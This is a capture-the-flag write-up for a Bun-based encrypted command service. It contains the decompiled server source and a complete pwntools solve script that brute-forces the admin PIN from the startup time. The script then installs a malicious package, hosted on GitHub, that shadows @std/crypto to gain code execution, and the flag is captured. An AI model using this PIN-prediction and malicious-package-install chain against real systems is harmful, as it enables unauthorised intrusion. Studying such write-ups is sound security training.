I literally spent about 6 hours on this challenge sob and eventually solved it with my teammates.
View notion version: Notion
0x00 Basic Informations
- Attachment:
chall
|
|
first run:
|
|
as far as we know, this is a bun executable binary, so we can use bun-decompile .
|
|
to extract its source code.
0x01 Extracted
|
|
index.js:
-
Click to expand
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199// @bun // cryptoUtils.ts import { crypto } from "@std/crypto/crypto"; var keyPair = null; async function generateKeyPair() { keyPair = await crypto.subtle.generateKey({ name: "RSA-OAEP", modulusLength: 4096, publicExponent: new Uint8Array([1, 0, 1]), hash: "SHA-512" }, true, ["encrypt", "decrypt"]); } async function exportKey() { if (!keyPair) await generateKeyPair(); const exported = await crypto.subtle.exportKey("spki", keyPair.publicKey); const exportedAsString = String.fromCharCode(...new Uint8Array(exported)); const pemBody = btoa(exportedAsString).match(/.{1,64}/g)?.join(` `) || ""; return pemBody; } var userKeyPair; async function importKey(pem) { const pemContents = pem.replace(/\s/g, ""); const binaryDerString = atob(pemContents); const binaryDer = new Uint8Array([...binaryDerString].map((char) => char.charCodeAt(0))); userKeyPair = await crypto.subtle.importKey("spki", binaryDer.buffer, { name: "RSA-OAEP", hash: "SHA-512" }, true, ["encrypt"]); } async function encryptMessage(message) { const encoder = new TextEncoder; const encrypted = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, userKeyPair, encoder.encode(message)); return btoa(String.fromCharCode(...new Uint8Array(encrypted))); } async function decryptMessage(encryptedMessage) { const binaryDerString = atob(encryptedMessage); const binaryDer = new Uint8Array([...binaryDerString].map((char) => char.charCodeAt(0))); const decrypted = await crypto.subtle.decrypt({ name: "RSA-OAEP" }, keyPair.privateKey, binaryDer.buffer); const decoder = new TextDecoder; return decoder.decode(decrypted); } // db.ts import { Database } from "bun:sqlite"; var db = new Database(":memory:"); db.run("CREATE TABLE users (id INTEGER PRIMARY KEY, username STRING, pin INTEGER, admin BOOLEAN)"); var time = Date.now(); time -= time % 5000; var insertUser = db.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)"); insertUser.run("admin", BigInt(time) ** 2n, true); async function register(username, pin, admin) { const insertUser2 = db.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)"); insertUser2.run(username, pin, false); } async function checkLogin(username, pin) { const getUser = db.prepare("SELECT * FROM users WHERE username = ?"); const user = getUser.get(username); if (!user) { return false; } return user.pin === pin; } function isAdmin(username) { const getUser = db.prepare("SELECT * FROM users WHERE username = ?"); const user = getUser.get(username); if (!user) { return false; } return user.admin; } if (false) {} // index.ts (async () => { console.log("My Public Key:", (await exportKey()).replace(/\s/g, "")); process.stdout.write("Your Public Key: "); let state = 0; let username = ""; let admin = false; for await (const line of console) { switch (state) { case 0: try { await importKey(line.trim()); console.log("Public Key imported successfully."); state = 1; } catch { console.log("Invalid Public Key. Please try again."); process.stdout.write("Your Public Key: "); } break; case 1: try { await decryptMessage(line); } catch { console.log("Echo:", line); continue; } case 2: const decrypted = await decryptMessage(line); try { const message = Bun.JSON5.parse(decrypted); if (message.command === "exit") { console.log("Exiting..."); process.exit(0); } else if (message.command === "register") { try { if (message.username && message.pin) { await register(message.username, parseInt(message.pin), false); console.log(await encryptMessage(`Registered user: ${message.username}`)); } else { console.log(await encryptMessage("Missing username or pin")); } } catch { console.log(await encryptMessage("Registration Error")); } } else if (message.command === "login") { try { if (message.username && message.pin) { const success = await checkLogin(message.username, parseInt(message.pin)); if (success) { username = message.username; admin = await isAdmin(username); console.log(await encryptMessage(`Login successful. Welcome, ${username}!`)); } else { console.log(await encryptMessage("Login failed. Invalid credentials.")); } } else { console.log(await encryptMessage("Missing username or pin")); } } catch { console.log(await encryptMessage("Login Error")); } } else if (message.command === "ping") { if (username) { if (message.ip) { try { const ping = Bun.spawnSync({ cmd: ["ping", "-c", "1", message.ip], stdout: "pipe", stderr: "pipe" }); if (ping.exitCode === 0) { for (const line2 of ping.stdout.toString().split(` `)) { console.log(await encryptMessage(line2)); } } else { for (const line2 of ping.stderr.toString().split(` `)) { console.log(await encryptMessage(line2)); } } } catch { console.log(await encryptMessage("Ping Command Error")); } } else { console.log(await encryptMessage("Missing IP address")); } } else { console.log(await encryptMessage("Please login first.")); } } else if (message.command === "install") { if (!username) { console.log(await encryptMessage("Please login first.")); } else if (!admin) { console.log(await encryptMessage("Admin privileges required.")); } else { if (message.package) { const install = Bun.spawnSync({ cmd: ["bun", "add", "--no-save", "--no-cache", message.package], stdout: "pipe", stderr: "pipe" }); if (install.exitCode === 0) { console.log(await encryptMessage(`Package ${message.package} installed successfully.`)); } else { console.log(await encryptMessage("Install Error")); } } else { console.log(await encryptMessage("Missing package name")); } } } else { console.log(await encryptMessage("Unknown command")); } } catch { console.log("JSON Parse Error"); } break; } } })();
Notice that the admin PIN is derived from the service startup time rounded down to a 5-second bucket and the PIN is inserted into SQLite as BigInt(time) ** 2n, which gets truncated to a signed 64-bit integer.
|
|
Login compares against the stored SQLite integer:
|
|
Once we get admin primitive we can install a controllable Bun package:
|
|
Beside, the server-side source code also have this import:
|
|
0x02 Handshake
The service wraps commands in RSA-OAEP with SHA-512. To talk to it normally:
-
Read the server public key from
My Public Key: ... -
Send your own public key at
Your Public Key: -
Encrypt JSON messages to the server public key
-
Decrypt responses with your private key
|
|
So if the service started at start_ms, the value used is:
|
|
But SQLite stores INTEGER as signed 64-bit, so the actual stored value is:
|
|
= Python code
|
|
Since the startup time is close to the time the instance becomes reachable, brute-forcing nearby 5-second buckets is enough.
0x03 Login
client send:
|
|
Once the guessed bucket is correct, the service replies with:
|
|
0x04 Construct the malicious Bun package
|
|
crypto.js
|
|
mod.js
|
|
package.json
|
|
and push to git repo in order to install the malicious package on server-side
https://github.com/SISUBEN/secure-communication-payload
0x05 RCE
The admin-only install command runs:
|
|
The validated local exploit does not rely on postinstall. Instead, it installs a replacement package for @std/crypto:
|
|
The service binary contains:
|
|
And the local payload exports that path while executing a top-level side effect:
|
|
Then client send
|
|
In the exploit, the follow-up trigger is a ping command after installation. That second step is important: installation alone is not the whole exploit; the malicious module must also be imported by the service.
0x06 Exploit chain
|
|
0x07 Solve script
-
Click to expand
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213import argparse import base64 import json import select import time from datetime import datetime, timezone from typing import cast from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey from cryptography.hazmat.primitives.asymmetric import padding, rsa from pwn import context, remote HOST = "chal.polyuctf.com" PORT = 36013 DEFAULT_PKG = "@std/crypto@github:SISUBEN/secure-communication-payload" context.log_level = "info" def generate_keypair(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend(), ) public_key = private_key.public_key() pub_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) return private_key, pub_pem def encrypt_message(server_pub_key_pem, message): server_pub_key = cast(RSAPublicKey, serialization.load_pem_public_key( server_pub_key_pem, backend=default_backend(), )) ciphertext = server_pub_key.encrypt( message.encode("utf-8"), padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA512()), algorithm=hashes.SHA512(), label=None, ), ) return base64.b64encode(ciphertext).decode("utf-8") def decrypt_message(private_key, ciphertext_b64): try: ciphertext = base64.b64decode(ciphertext_b64) plaintext = private_key.decrypt( ciphertext, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA512()), algorithm=hashes.SHA512(), label=None, ), ) return plaintext.decode("utf-8") except Exception as exc: return f"[Decryption Error] {exc}" def drain_pending_lines(conn): fd = conn.sock.fileno() while True: ready, _, _ = select.select([fd], [], [], 0) if not ready: break line = conn.recvline(timeout=0.01) if not line: break def send_json_command(conn, server_key_pem, private_key, obj, first_timeout=1.0, idle_timeout=0.2): drain_pending_lines(conn) enc = encrypt_message(server_key_pem, json.dumps(obj)) conn.sendline(enc.encode()) responses = [] fd = conn.sock.fileno() while True: timeout = first_timeout if not responses else idle_timeout ready, _, _ = select.select([fd], [], [], timeout) if not ready: break line = conn.recvline(timeout=idle_timeout) if not line: break responses.append(decrypt_message(private_key, line.strip())) return responses def parse_start_ms(value): if value is None: return None value = value.strip() if not value: return None if value.isdigit(): return int(value) if value.endswith("Z"): value = value[:-1] + "+00:00" dt = datetime.fromisoformat(value) if dt.tzinfo is None: dt = dt.replace(tzinfo=timezone.utc) return int(dt.timestamp() * 1000) def bruteforce_admin_pin(conn, server_key_pem, private_key, center_bucket, bucket_window): for i in range(-bucket_window, bucket_window + 1): t = center_bucket + i * 5000 # Feasible path only: SQLite INTEGER stores signed int64, so the admin # BigInt square must be matched via int64 wrap-around. raw_square = t * t pin_s64 = (raw_square + 2**63) % (2**64) - 2**63 responses = send_json_command( conn, server_key_pem, private_key, {"command": "login", "username": "admin", "pin": str(pin_s64)}, first_timeout=1.0, idle_timeout=0.1, ) text = "\n".join(responses) if "Login successful" in text: return t, pin_s64 return None, None def main(): parser = argparse.ArgumentParser(description="Exploit pwn2 using the only validated path.") parser.add_argument("--host", default=HOST) parser.add_argument("--port", type=int, default=PORT) parser.add_argument("--bucket-window", type=int, default=25) parser.add_argument("--start-ms", help="Known service start time in ms or ISO-8601") parser.add_argument("--install", default=DEFAULT_PKG, help="Package spec to install after admin login") parser.add_argument("--ping-ip", default="127.0.0.1", help="IP to pass to ping command") args = parser.parse_args() private_key, pub_pem = generate_keypair() conn = remote(args.host, args.port) conn.recvuntil(b"My Public Key: ") server_key_b64 = conn.recvline().strip() server_key_pem = b"-----BEGIN PUBLIC KEY-----\n" + server_key_b64 + b"\n-----END PUBLIC KEY-----" conn.recvuntil(b"Your Public Key: ") pub_body = ( pub_pem .replace(b"-----BEGIN PUBLIC KEY-----\n", b"") .replace(b"\n-----END PUBLIC KEY-----\n", b"") .replace(b"\n", b"") ) conn.sendline(pub_body) conn.recvuntil(b"Public Key imported successfully.") print("[+] Handshake complete") if args.start_ms: start_ms = parse_start_ms(args.start_ms) if start_ms is None: raise ValueError("Invalid --start-ms value") center_bucket = start_ms - (start_ms % 5000) else: now_ms = int(time.time() * 1000) center_bucket = now_ms - (now_ms % 5000) login_time, admin_pin = bruteforce_admin_pin( conn, server_key_pem, private_key, center_bucket, args.bucket_window, ) if admin_pin is None: print("[-] Admin PIN brute force failed") return print("[+] ADMIN LOGIN SUCCESSFUL") print(f" bucket_time = {login_time}") print(f" pin(int64) = {admin_pin}") install_resp = send_json_command( conn, server_key_pem, private_key, {"command": "install", "package": args.install}, first_timeout=20.0, idle_timeout=1.0, ) print("[+] install response:") if install_resp: for line in install_resp: print(f" {line}") else: print(" [No response]") ping_resp = send_json_command( conn, server_key_pem, private_key, {"command": "ping", "ip": args.ping_ip}, first_timeout=5.0, idle_timeout=1.0, ) print("[+] ping response:") if ping_resp: for line in ping_resp: print(f" {line}") else: print(" [No response]") if __name__ == "__main__": main()
0x08 Flow
-
Run the solve script
1 2 3 4 5 6 7 8 9 10 11 12 13$ python .\solve.py [x] Opening connection to chal.polyuctf.com on port 36060 [x] Opening connection to chal.polyuctf.com on port 36060: Trying 158.132.12.250 [+] Opening connection to chal.polyuctf.com on port 36060: Done [+] Handshake complete [+] ADMIN LOGIN SUCCESSFUL bucket_time = 1773474050000 pin(int64) = 3447967776530368768 [+] install response: Package @std/crypto@github:SISUBEN/secure-communication-payload installed successfully. [+] ping response: ping: socktype: SOCK_RAW [*] Closed connection to chal.polyuctf.com port 36060*the malicious package has been installed
-
Connect the instance by
nc1 2 3 4$ nc chal.polyuctf.com 36060 FLAG:PUCTF26{b0n_i5_f0n_w1t2_s3l7t5_BYnpnU0tZglOOt8BqBVfGrN5x0iCirVb} My Public Key: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAytqldqsBWbQKZaoIuwsRcQJOGrzsjvgsRx3TCKDH4I9EA8v25ZI7q42iCF+E9qB9Xa4SitmDTOu8A/YXaA5Ii+RZZEY2Pz28/rPWLZfgiWDEpbAbzh4O4CafFPKgA4jLmACZXdZm5BveiaXghdfHF1wBO159EDCX7W8BR9pBkyqm3w0orjlz7deHE1HDNa61U3AlnEQHlXMmJdEY/JBFED0MLrsq0HNckOSL86NJPJTISLysO1D+c9vMIzU+WHkAgONWNwP/DW5Gy05V/a2Dy3eE+VKS+g1XnmCH5dQAjZl3DYhA4BSgUjJpzClU4tf6CPTMSaeCjXu1H7ISMSOyaTmKxah0DIoHtNGjhO68LaOY/vNymiMe8oT4mtsusBZTsIMf4EaXzXe0poy/RfbmoxJPLkftPrL1wFLk5Cx8LbgIm3hgszBBzr3VbAy3fvGq9ywJhF6eppDjN0BrzIfJCMBbgZPLgGj65q4iYKo8ZjexBZ/lpF8G93iLNSbOzqFJuwnG0dkz4K3fsX1MOyn2tCa8ICgHfJM1rgisf1ZogO61T3GeiI3i36/Bldz+L4rxzCbsAlFkify2GPmE1hy2pFMb878qGc1xvnuBPzvW62HDRHfsgUfw6Fe6UjmO2SY4jd9YKfnY6gs+8Ssn2uSb9o1CceLO5zf/XJCgREv8+kMCAwEAAQ== Your Public Key:*the malicious executed successfully
0x09 Flag
|
|